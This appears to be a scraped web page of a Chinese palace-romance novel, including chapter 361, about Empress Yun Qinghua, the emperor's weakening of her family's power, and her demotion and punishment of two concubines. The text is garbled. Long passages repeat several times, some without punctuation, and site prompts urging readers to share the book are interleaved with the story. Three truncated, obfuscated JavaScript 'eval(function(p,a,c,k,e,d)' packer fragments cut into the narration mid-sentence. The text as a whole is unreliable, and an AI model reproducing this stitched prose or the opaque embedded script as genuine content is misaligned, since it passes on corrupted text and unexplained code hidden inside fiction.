“我相信夫君总行了吧?你别这样……”她露出心疼的表情“倘若真有那么一天……” 裴墨染的心像是被一张网罩住了极其不舒服他追问:“倘若真有那么一天你会如何?” 她眼神复杂地看着他。 “……” 她知道说这些很伤害夫妻感情。 但她不得不给裴墨染敲响警钟毕竟裴墨染的改革迫在眉睫云家即将要渡劫了…… 她绝不能让云家被第一个开刀让云家成为杀鸡儆猴里的鸡! 云清婳吸吸鼻子“倘若真有那么一天我愿赌服输从此皇上会有一个贤良淑德的好皇后。我会成为皇上至亲至疏的人。” 裴墨染的心抽疼他的眉宇染上压迫性的戾气眸子骤然冰冷“不可!蛮蛮你不能这样对我!” “只要夫君对我不狠心我绝不会对夫君狠心。”云清婳一字一顿。 裴墨染不喜欢她这样说话就好像他们在进行利益交换。 可蛮蛮对他的热情、爱意、崇敬早就在赵婉宁设计她跳崖的那一次被消磨完了。 这世上最爱他的人早已经被他亲手杀**。 就算是现在的蛮蛮也不及当初的她。 “真情真心难得我必不会让这件事发生。”他严肃地说。 蛮蛮是一个活生生的人他总不能无耻地要求蛮蛮哪怕受到了伤害也依然爱他。 云清婳得到了保证心中稍稍舒服了。 希望裴墨染能说到做到不要对云家下手。 可是帝王的承诺能当真吗? 若是如此她可能得加快报复的步伐了。 裴墨染蹲下身为她脱去脚上的绣花鞋“别难过了你的眼睛都肿成一对桃子了我陪你睡一会儿。” 她倒在榻上身子头脑放空。 裴墨染也踢掉了皂靴他侧身躺着方便搂住她。 他在她的眉心轻吻“蛮蛮都怪我是不是这些日子我对你的关心不够所以你才乱想?” “夫君这段日子发生的事情太多了我可能太累了。”她悠悠地说着玩味地轻戳他的喉结。 裴墨染的喉结上下滚动他垂下眼看着她一脸单纯的小脸 她总是这样撩人不自知。 他捉住她的食指脸色一沉佯装不悦“蛮蛮你今日在翊坤宫跟裴云澈说了什么?嗯?” 云清婳白了他一眼“夫君派人监视我?” “……”裴墨染被反咬一口他有苦难辨。 他简洁地解释:“宫中到处都是眼线我不想知道都难。” 言下之意便是他没有派人监视她。 但皇后的言行举止自有千千万万的人盯着。 这完全在云清婳的意料之中,皇宫跟东宫可不一样。 不是她能一手遮天的了。 她道:“请安的时候刚好遇见了,所以我顺便跟裴云澈说了就藩的事,劝他离开。” 裴墨染并不惊讶,似乎早就料到了,他点点她的鼻尖,宠溺道:“你呀,你以为你三言两语就能把他劝走?京城这么好,他哪舍得走?” 云清婳鼓着嘴,“这都怪你,你答应过我不会放过他,可结果呢?” “……”裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!”她想起来就窝火。 裴墨染假装打了个哈欠,“娘子,我困了,咱们快睡吧。” 云清婳心中的火气无处安放。 于是,她在他的大腿上拧了一把。 “嘶……” 他倒吸了口凉气,“女流氓,你掐哪儿了?!朕的龙体都被你掐坏了,你赔得起吗?” “咦惹!”云清婳撇撇嘴,嫌弃不已,“还龙体!” “你平日扇朕的龙脸,咬朕的龙颈,朕都不跟你计较,可你方才差点伤到龙根,你日后不用了?”他混不吝地数落。 云清婳:??? 不是,他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了,她羞赧地骂道:“流氓!不要脸!兵痞子!” 裴墨染以吻封缄,将她扑倒,狠狠掠夺。 床榻咯吱作响,寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月,裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家,但背地里扶持了好几个官员,培养亲信,让他们把云丞相手中的职权慢慢分走。 所有人都看得出来,裴墨染是在釜底抽薪、架空云丞相。 这件事很快传到了后宫。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 但皇后的言行举止自有千千万万的人盯着。 这完全在云清婳的意料之中,皇宫跟东宫可不一样。 不是她能一手遮天的了。 她道:“请安的时候刚好遇见了,所以我顺便跟裴云澈说了就藩的事,劝他离开。” 裴墨染并不惊讶,似乎早就料到了,他点点她的鼻尖,宠溺道:“你呀,你以为你三言两语就能把他劝走?京城这么好,他哪舍得走?” 云清婳鼓着嘴,“这都怪你,你答应过我不会放过他,可结果呢?” “……”裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!”她想起来就窝火。 裴墨染假装打了个哈欠,“娘子,我困了,咱们快睡吧。” 云清婳心中的火气无处安放。 于是,她在他的大腿上拧了一把。 “嘶……” 他倒吸了口凉气,“女流氓,你掐哪儿了?!朕的龙体都被你掐坏了,你赔得起吗?” “咦惹!”云清婳撇撇嘴,嫌弃不已,“还龙体!” “你平日扇朕的龙脸,咬朕的龙颈,朕都不跟你计较,可你方才差点伤到龙根,你日后不用了?”他混不吝地数落。 云清婳:??? 不是,他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了,她羞赧地骂道:“流氓!不要脸!兵痞子!” 裴墨染以吻封缄,将她扑倒,狠狠掠夺。 床榻咯吱作响,寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月,裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家,但背地里扶持了好几个官员,培养亲信,让他们把云丞相手中的职权慢慢分走。 所有人都看得出来,裴墨染是在釜底抽薪、架空云丞相。 这件事很快传到了后宫。 你的朋友正在书荒,快去帮帮他吧 但皇后的言行举止自有千千万万的人盯着。 这完全在云清婳的意料之中皇宫跟东宫可不一样。 不是她能一手遮天的了。 她道:“请安的时候刚好遇见了所以我顺便跟裴云澈说了就藩的事劝他离开。” 裴墨染并不惊讶似乎早就料到了他点点她的鼻尖宠溺道:“你呀你以为你三言两语就能把他劝走?京城这么好他哪舍得走?” 云清婳鼓着嘴“这都怪你你答应过我不会放过他可结果呢?” “……”裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!”她想起来就窝火。 裴墨染假装打了个哈欠“娘子我困了咱们快睡吧。” 云清婳心中的火气无处安放。 于是她在他的大腿上拧了一把。 “嘶……” 他倒吸了口凉气“女流氓你掐哪儿了?!朕的龙体都被你掐坏了你赔得起吗?” “咦惹!”云清婳撇撇嘴嫌弃不已“还龙体!” “你平日扇朕的龙脸咬朕的龙颈朕都不跟你计较可你方才差点伤到龙根你日后不用了?”他混不吝地数落。 云清婳:??? 不是他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了她羞赧地骂道:“流氓!不要脸!兵痞子!” 裴墨染以吻封缄将她扑倒狠狠掠夺。 床榻咯吱作响寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家 所有人都看得出来裴墨染是在釜底抽薪、架空云丞相。 这件事很快传到了后宫。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 但皇后的言行举止自有千千万万的人盯着。 这完全在云清婳的意料之中皇宫跟东宫可不一样。 不是她能一手遮天的了。 她道:“请安的时候刚好遇见了所以我顺便跟裴云澈说了就藩的事劝他离开。” 裴墨染并不惊讶似乎早就料到了他点点她的鼻尖宠溺道:“你呀你以为你三言两语就能把他劝走?京城这么好他哪舍得走?” 云清婳鼓着嘴“这都怪你你答应过我不会放过他可结果呢?” “……”裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!”她想起来就窝火。 裴墨染假装打了个哈欠“娘子我困了咱们快睡吧。” 云清婳心中的火气无处安放。 于是她在他的大腿上拧了一把。 “嘶……” 他倒吸了口凉气“女流氓你掐哪儿了?!朕的龙体都被你掐坏了你赔得起吗?” “咦惹!”云清婳撇撇嘴嫌弃不已“还龙体!” “你平日扇朕的龙脸咬朕的龙颈朕都不跟你计较可你方才差点伤到龙根你日后不用了?”他混不吝地数落。 云清婳:??? 不是他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了 裴墨染以吻封缄将她扑倒狠狠掠夺。 床榻咯吱作响寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家但背地里扶持了好几个官员培养亲信让他们把云丞相手中的职权慢慢分走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她道:“请安的时候刚好遇见了,所以我顺便跟裴云澈说了就藩的事,劝他离开。 裴墨染并不惊讶,似乎早就料到了,他点点她的鼻尖,宠溺道:“你呀,你以为你三言两语就能把他劝走?京城这么好,他哪舍得走? 云清婳鼓着嘴,“这都怪你,你答应过我不会放过他,可结果呢? “……裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!她想起来就窝火。 裴墨染假装打了个哈欠,“娘子,我困了,咱们快睡吧。 云清婳心中的火气无处安放。 于是,她在他的大腿上拧了一把。 “嘶…… 他倒吸了口凉气,“女流氓,你掐哪儿了?!朕的龙体都被你掐坏了,你赔得起吗? “咦惹!云清婳撇撇嘴,嫌弃不已,“还龙体! “你平日扇朕的龙脸,咬朕的龙颈,朕都不跟你计较,可你方才差点伤到龙根,你日后不用了?他混不吝地数落。 云清婳:??? 不是,他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了,她羞赧地骂道:“流氓!不要脸!兵痞子! 裴墨染以吻封缄,将她扑倒,狠狠掠夺。 床榻咯吱作响,寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月,裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家,但背地里扶持了好几个官员,培养亲信,让他们把云丞相手中的职权慢慢分走。 所有人都看得出来,裴墨染是在釜底抽薪、架空云丞相。 这件事很快传到了后宫。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 但皇后的言行举止自有千千万万的人盯着。 这完全在云清婳的意料之中皇宫跟东宫可不一样。 不是她能一手遮天的了。 她道:“请安的时候刚好遇见了所以我顺便跟裴云澈说了就藩的事劝他离开。” 裴墨染并不惊讶 云清婳鼓着嘴“这都怪你你答应过我不会放过他可结果呢?” “……”裴墨染心虚的轻眨了眨眼。 “裴家没一个好东西!”她想起来就窝火。 裴墨染假装打了个哈欠“娘子我困了咱们快睡吧。” 云清婳心中的火气无处安放。 于是她在他的大腿上拧了一把。 “嘶……” 他倒吸了口凉气“女流氓你掐哪儿了?!朕的龙体都被你掐坏了你赔得起吗?” “咦惹!”云清婳撇撇嘴嫌弃不已“还龙体!” “你平日扇朕的龙脸咬朕的龙颈朕都不跟你计较可你方才差点伤到龙根你日后不用了?”他混不吝地数落。 云清婳:??? 不是他怎么好意思说这么糙的话的? 云清婳的脸蹭得红了她羞赧地骂道:“流氓!不要脸!兵痞子!” 裴墨染以吻封缄将她扑倒狠狠掠夺。 床榻咯吱作响寝殿中的暧昧氛围不知何时才消散。 …… 接下来的三个月裴墨染的改革如火如荼进行着。 他表面上器重、关怀云家但背地里扶持了好几个官员培养亲信让他们把云丞相手中的职权慢慢分走。 所有人都看得出来裴墨染是在釜底抽薪、架空云丞相。 这件事很快传到了后宫。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第361章 做了亏心事,他敢见我? 许多人都议论云清婳,看她笑话。 说她才登上后位,便被皇上削弱了娘家势力,皇后成了一个傀儡、空壳子。 甚至有后妃猜测皇上对云清婳的感情都是假的,只不过是为了利用云家,才假意拉拢。 裴墨染心中爱的人还是赵婉宁。 毕竟当初赵婉宁做了那么多**人怨、有违伦理的事,裴墨染也没有取她性命。 清早,魏娴便抱着承宁来到了坤宁宫。 此时,云清婳已经将承基、辞忧送去了上书房。 去时的路上,宫人、后妃都在悄悄看她,眼神或是怜悯或者幸灾乐祸。 但云清婳佯装不知。 不必通传,魏娴就径自到了花厅。 她自如地坐在云清婳对面,开门见山道:“蛮蛮,陛下是怎么回事?我们千算万算,千防万防,却没想到陛下会拿云家开刀。听我爹说,皇上明升暗降,两位国舅爷,一个户部、一个鸿胪寺的职权都被人顶了,云丞相也在被逼致仕。” 魏娴火急火燎,说话都快了几分。 她是真的着急了,伴君如伴虎,在皇权与江山面前,哪个男人不会断情绝爱? 若是云家垮了,蛮蛮将来的命运岂不是风雨飘摇? 若是蛮蛮失宠,紧接着她跟承宁也没了倚仗。 云清婳倒了杯茶水,她修长的手指捻着白玉茶杯递给魏娴,“阿娴莫急,我相信裴墨染。” 魏娴的瞳孔一缩,似乎觉得眼前人有些陌生。 “蛮蛮,你是认真的?” 她难以置信地问。 云清婳颔首,她的眼神幽深,宛若一潭死水,“驯化裴墨染这么久了,我相信他不敢出格,你且看着吧。” 魏娴蹙着眉,“蛮蛮,我向来相信你。可这次不是闹着玩的,你不可太过放心他。男人都是得陇望蜀,贪图新鲜的,在权力面前,所有的一切都是浮云。你别逗我,你真的没有作为?” 她抿了口茶水,她笑道:“知我者,莫若阿娴也。我当然不会无所作为,但是我对裴墨染足够了解,我相信他不敢。” 裴墨染成了皇帝又如何? 没有一个完美的恋人治愈他,所以他的内核不够强大,他的本质是缺爱的。 他绝对不 敢赌! 不过当然,她不会坐以待毙,可不会把云家的命运全权交给裴墨染。 很早之前她便未雨绸缪,联合江家在岭南、边境埋了雷。 那里有山匪**、起义,但是被她的商队掩盖、压下。 平乱跟打仗都需要银子。 裴墨染想要除去云家,要掂量掂量云家的价值跟国库的赤字。 “蛮蛮,你真是坏,吓死我了。”魏娴劫后余生般地扯出一抹苦涩的笑。 云清婳宛若掌控全局的执棋者,高深莫测道:“我很期待裴墨染的表现。” “我也很期待,希望陛下不会让我们失望。” …… 这几日,朝前的动静实在闹得大,云家的风风雨雨不出意料全部传进了后宫。 而裴墨染不知是心虚还是如何,也好几日不露面,无人知道他的行踪。 甚至连陈如燕三人即将临盆,他也没空做样子关怀一番。 苏采薇自然也收到了风声。 她亲临翊坤宫,气色红润,扬眉吐气,精气神前所未有的好,就像是得到了救命的灵芝仙草。 苏采薇幸灾乐祸,眉飞色舞,“云清婳,被哀家说中了吧?你所经历的,正是哀家当年所经历的,最是无情帝王家,不论是你还是哀家,都逃不脱过河拆桥的命运!你跟哀家一样悲惨!呵呵……” 云清婳找了个舒服的姿势,斜靠坐在凤位上,她手里捧着汤婆子,居高临下地睨着苏采薇。 苏采薇的言行举止,像极了小丑。 引人发笑。 “你自作聪明,以为能够把掌控墨染?没想到反被墨染戏弄了吧?你听没听人说过墨染心中最爱的还是赵婉宁?你只不过是个垫脚石。呵呵呵……”苏采薇故意挑难听地说,往云清婳的心上捅刀子。 云清婳慵懒地撑着脑袋,张开嘴,打了个冗长的哈欠,“唔……说完了吗?” “……”苏采薇有些惊讶她的平静。 “你少故作镇定了,其实你早就心急如焚了吧?云家快要垮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云清婳不以为意,她牵着孩子的手,不疾不徐地从她们身后经过。 陆嫔敏锐地察觉到了不对,回头一看,脸色登时惨白。 她抱着隆起的肚子跪在地上,惊恐道:“皇后娘娘恕罪。” 黄雨绵转身看向云清婳时,她愣住了。 原本她以为皇后比她大七岁,她们容貌相似,就算皇后曾经倾国倾城,可生了两个孩子后,一定不如她水灵。 可看到云清婳的第一眼,她有种惊为天人之感。 岁月不会苛待美人,反而在云清婳身上添了小女人的妩媚、成熟的风韵,她丰腴不失端庄,清纯却又夹杂着说不清的魅。 黄雨绵的心在这一刻都疼了。 就像是被对手狠狠碾压。 她曾经引以为傲的容貌,在云清婳面前根本不够看。 她的五官不如云清婳精致,身材干瘪,眼睛也不如云清婳大。 黄雨绵不情愿地跪下,淡淡的说:“皇后娘娘恕罪。” 云清婳没有错过黄雨绵嫉妒、不甘的眼神,以及黄雨绵看她第一眼时眸中的惊艳。 唉…… 有些女子真是矛盾,总把对同性的喜欢当作嫉妒,把对异性的嫉妒当作喜欢。 “搬弄是非也要选对地方,当心隔墙有耳。”云清婳明明站在台阶下,还是那张温婉、清纯的脸,身上只是穿着淡雅的青色凤纹长袍,髻上未戴象征身份的凤钗,可却有种与生俱来凌驾众生之上的压迫感。 让人背后的汗**倒竖。 “是……”陆嫔把脑袋压得更低了,一脸愧疚,看上去真有几分忏悔之意。 黄雨绵的嘴角一撇,眼中写满了不服,“回皇后娘娘,妾身不该妄议您。但妾身没有搬弄是非,妾身所言句句属实。” 她话中的挑衅快要溢出来,恶意满满。 故意往云清婳的心上捅刀子。 陆嫔的眼皮子不可察觉地一跳。 但很快她的心跳就归于平缓。 因为云清婳向来喜欢营造温柔宽厚、端庄大方的形象,再加上她初登凤位,母族遭难,她必不会高调严惩,给自己留下话柄。 周围的宫女、太监闻言纷纷跪下。 “皇后娘娘恕罪。”众人异口同声道。 云清婳挑眉,玩味地看着二人,就像在看两只蹦跶的蚂蚱。 “真是无法无天了!”飞霜的脸庞瞬间凌厉,她走上前怒斥,“区区一个才人,以下犯上,不知悔改,居然敢跟皇后娘娘顶嘴,真是好大的胆子!” 黄雨绵乡野出生,不似世家贵女,没受过教化,再加上年纪不大,她肉眼可见的慌了,她的眉心拧成一个疙瘩,“妾身只是……解释一下。” 她再次对上云清婳的视线,只见云清婳似笑非笑地看着她,那双绝美明亮的眸子毫无温度,就像在看一个**。 黄雨绵的身子抖了抖,眼泪被逼了出来。 “放肆!你还敢顶嘴!”飞霜气势逼人的指着黄雨绵。 “我是才人,你只是个婢女,你凭什么对我吆五喝六?”黄雨绵说着,缩了缩脖子。 陆嫔的太阳穴都突突跳了起来,她震惊又鄙夷地斜睨着黄雨绵。 就算有太后撑腰,她也不能在皇后面前这么嚣张吧? “……”飞霜语塞,气不过地朝云清婳投去求助的目光。 云清婳的笑不达眼底。 换作她的真性情,她自然想把这两个人都杀了。 但还是那句话,姐姐说过,这世道对女子诸多不公,女子与女子间应该相互帮助,少些阴谋算计。 她温柔地开口,却字字如刀:“黄才人妄议本宫,以下犯上,屡教不改,降为采女,即日搬去冷宫旁的红杏斋。” 听到冷宫二字时,黄雨绵的眼圈瞬间红了,她的唇瓣都在颤抖。 住在冷宫旁边,跟住在冷宫里也没差别了吧? 皇上没事怎会去冷宫附近? 她还想搬出太后,可看到云清婳的眼神,瞬间怂了。 “……是。”黄雨绵带着哭腔道。 云清婳的眼珠一转,视线落在陆嫔身上。 陆嫔吞了吞口水,她的手故意落在肚子上,摸了摸。 明眼人都看得出来,陆嫔是想拿皇嗣说事。 就算她犯错了,可肚子里的孩子没错。 皇后若是惩戒她,就等于在惩戒皇嗣,会落得善妒小气、心狠手辣的骂名。 陆嫔的脸上满是惊慌、害怕,眼泪跟断了线的珠子似的汩汩地流,惹人怜惜。 云清婳一眼就看穿了陆嫔的内心。 表面上好像她仗着皇后的身份在欺负人,可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她,现在一切都是伪装,因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉,她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此,不如搬去跟她一起住吧。” 笑话! 她都是皇后了,还忍什么? 从登上后位的那一刻起,她就不准备受憋屈了! “……”陆嫔的瞳孔地震。 她仰起头,难以置信地看向云清婳。 “皇后娘娘,可是臣妾体弱,还怀有皇嗣……”陆嫔说起话来哼哼唧唧的,就像一个病秧子。 云清婳直接打断她的话,“所以本宫宽恕了你,没有降你位份。” 她还想再说,云清婳又道:“再有异议,恐怕这事就没这么好过去了。” 陆嫔像是吞了只苍蝇,她的脸色极其难看,声音极低,“臣妾谢恩。” 辞忧、承基稚气的小肉脸上天真被嫌恶取代,两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神,简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊,连忙错开眼。 “你们下去领罚吧。”云清婳随意地摆摆手,示意她们快走。 “罚?”陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐,惩罚在后头呢。按照后宫规矩,嚼人口舌、搬弄是非,要在长巷掌掴十下!” 黄雨绵的身子在颤抖,她想要去见太后,可太监眼疾手快地抓住了她的肩膀,不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上,那就是她对自己的不尊重! 她可是皇后,现在不打,等什么时候打? 有飞霜监刑,云清婳不想让孩子看到残暴的画面,立即将他们带走。 “她们都是坏人,欺负娘亲,等我长大,我要砍她们脑袋。”承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧,递给她,“娘亲不伤心,吃糕糕。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 云清婳一眼就看穿了陆嫔的内心。 表面上好像她仗着皇后的身份在欺负人可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她现在一切都是伪装因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此不如搬去跟她一起住吧。” 笑话! 她都是皇后了还忍什么? 从登上后位的那一刻起她就不准备受憋屈了! “……”陆嫔的瞳孔地震。 她仰起头难以置信地看向云清婳。 “皇后娘娘可是臣妾体弱还怀有皇嗣……”陆嫔说起话来哼哼唧唧的就像一个病秧子。 云清婳直接打断她的话 她还想再说云清婳又道:“再有异议恐怕这事就没这么好过去了。” 陆嫔像是吞了只苍蝇她的脸色极其难看声音极低“臣妾谢恩。” 辞忧、承基稚气的小肉脸上天真被嫌恶取代两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊连忙错开眼。 “你们下去领罚吧。”云清婳随意地摆摆手示意她们快走。 “罚?”陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐惩罚在后头呢。按照后宫规矩嚼人口舌、搬弄是非要在长巷掌掴十下!” 黄雨绵的身子在颤抖她想要去见太后可太监眼疾手快地抓住了她的肩膀不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上那就是她对自己的不尊重! 她可是皇后现在不打等什么时候打? 有飞霜监刑云清婳不想让孩子看到残暴的画面立即将他们带走。 “她们都是坏人欺负娘亲等我长大我要砍她们脑袋。”承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧递给她“娘亲不伤心吃糕糕。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 云清婳一眼就看穿了陆嫔的内心。 表面上好像她仗着皇后的身份在欺负人,可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她,现在一切都是伪装,因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉,她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此,不如搬去跟她一起住吧。 笑话! 她都是皇后了,还忍什么? 从登上后位的那一刻起,她就不准备受憋屈了! “……陆嫔的瞳孔地震。 她仰起头,难以置信地看向云清婳。 “皇后娘娘,可是臣妾体弱,还怀有皇嗣……陆嫔说起话来哼哼唧唧的,就像一个病秧子。 云清婳直接打断她的话,“所以本宫宽恕了你,没有降你位份。 她还想再说,云清婳又道:“再有异议,恐怕这事就没这么好过去了。 陆嫔像是吞了只苍蝇,她的脸色极其难看,声音极低,“臣妾谢恩。 辞忧、承基稚气的小肉脸上天真被嫌恶取代,两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神,简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊,连忙错开眼。 “你们下去领罚吧。云清婳随意地摆摆手,示意她们快走。 “罚?陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐,惩罚在后头呢。按照后宫规矩,嚼人口舌、搬弄是非,要在长巷掌掴十下! 黄雨绵的身子在颤抖,她想要去见太后,可太监眼疾手快地抓住了她的肩膀,不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上,那就是她对自己的不尊重! 她可是皇后,现在不打,等什么时候打? 有飞霜监刑,云清婳不想让孩子看到残暴的画面,立即将他们带走。 “她们都是坏人,欺负娘亲,等我长大,我要砍她们脑袋。承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧,递给她,“娘亲不伤心,吃糕糕。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 云清婳一眼就看穿了陆嫔的内心。 表面上好像她仗着皇后的身份在欺负人,可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她,现在一切都是伪装,因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉,她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此,不如搬去跟她一起住吧。 笑话! 她都是皇后了,还忍什么? 从登上后位的那一刻起,她就不准备受憋屈了! “……陆嫔的瞳孔地震。 她仰起头,难以置信地看向云清婳。 “皇后娘娘,可是臣妾体弱,还怀有皇嗣…… 云清婳直接打断她的话,“所以本宫宽恕了你,没有降你位份。 她还想再说,云清婳又道:“再有异议,恐怕这事就没这么好过去了。 陆嫔像是吞了只苍蝇,她的脸色极其难看,声音极低,“臣妾谢恩。 辞忧、承基稚气的小肉脸上天真被嫌恶取代,两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神,简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊,连忙错开眼。 “你们下去领罚吧。云清婳随意地摆摆手,示意她们快走。 “罚?陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐,惩罚在后头呢。按照后宫规矩,嚼人口舌、搬弄是非,要在长巷掌掴十下! 黄雨绵的身子在颤抖,她想要去见太后,可太监眼疾手快地抓住了她的肩膀,不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上,那就是她对自己的不尊重! 她可是皇后,现在不打,等什么时候打? 有飞霜监刑,云清婳不想让孩子看到残暴的画面,立即将他们带走。 “她们都是坏人,欺负娘亲,等我长大,我要砍她们脑袋。承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧,递给她,“娘亲不伤心,吃糕糕。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 云清婳一眼就看穿了陆嫔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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表面上好像她仗着皇后的身份在欺负人,可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她,现在一切都是伪装,因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉,她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此,不如搬去跟她一起住吧。” 笑话! 她都是皇后了,还忍什么? 从登上后位的那一刻起,她就不准备受憋屈了! “……”陆嫔的瞳孔地震。 她仰起头,难以置信地看向云清婳。 “皇后娘娘,可是臣妾体弱,还怀有皇嗣……”陆嫔说起话来哼哼唧唧的,就像一个病秧子。 云清婳直接打断她的话,“所以本宫宽恕了你,没有降你位份。” 她还想再说,云清婳又道:“再有异议,恐怕这事就没这么好过去了。” 陆嫔像是吞了只苍蝇,她的脸色极其难看,声音极低,“臣妾谢恩。” 辞忧、承基稚气的小肉脸上天真被嫌恶取代,两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神,简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊,连忙错开眼。 “你们下去领罚吧。”云清婳随意地摆摆手,示意她们快走。 “罚?”陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐,惩罚在后头呢。按照后宫规矩,嚼人口舌、搬弄是非,要在长巷掌掴十下!” 黄雨绵的身子在颤抖,她想要去见太后,可太监眼疾手快地抓住了她的肩膀,不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上,那就是她对自己的不尊重! 她可是皇后,现在不打,等什么时候打? 有飞霜监刑,云清婳不想让孩子看到残暴的画面,立即将他们带走。 “她们都是坏人,欺负娘亲,等我长大,我要砍她们脑袋。”承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧,递给她,“娘亲不伤心,吃糕糕。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 云清婳一眼就看穿了陆嫔的内心。 表面上好像她仗着皇后的身份在欺负人,可实际上是陆嫔、黄雨绵趁人之危在挑衅、拿捏她! 其实陆嫔根本不怕她,现在一切都是伪装,因为陆嫔赌她不敢动皇嗣。 云清婳的脸瞬间阴沉,她不容置喙道:“陆嫔似乎跟黄采女甚是亲密?既然如此,不如搬去跟她一起住吧。” 笑话! 她都是皇后了,还忍什么? 从登上后位的那一刻起,她就不准备受憋屈了! “……”陆嫔的瞳孔地震。 她仰起头,难以置信地看向云清婳。 “皇后娘娘,可是臣妾体弱,还怀有皇嗣……”陆嫔说起话来哼哼唧唧的,就像一个病秧子。 云清婳直接打断她的话,“所以本宫宽恕了你,没有降你位份。” 她还想再说,云清婳又道:“再有异议,恐怕这事就没这么好过去了。” 陆嫔像是吞了只苍蝇,她的脸色极其难看,声音极低,“臣妾谢恩。” 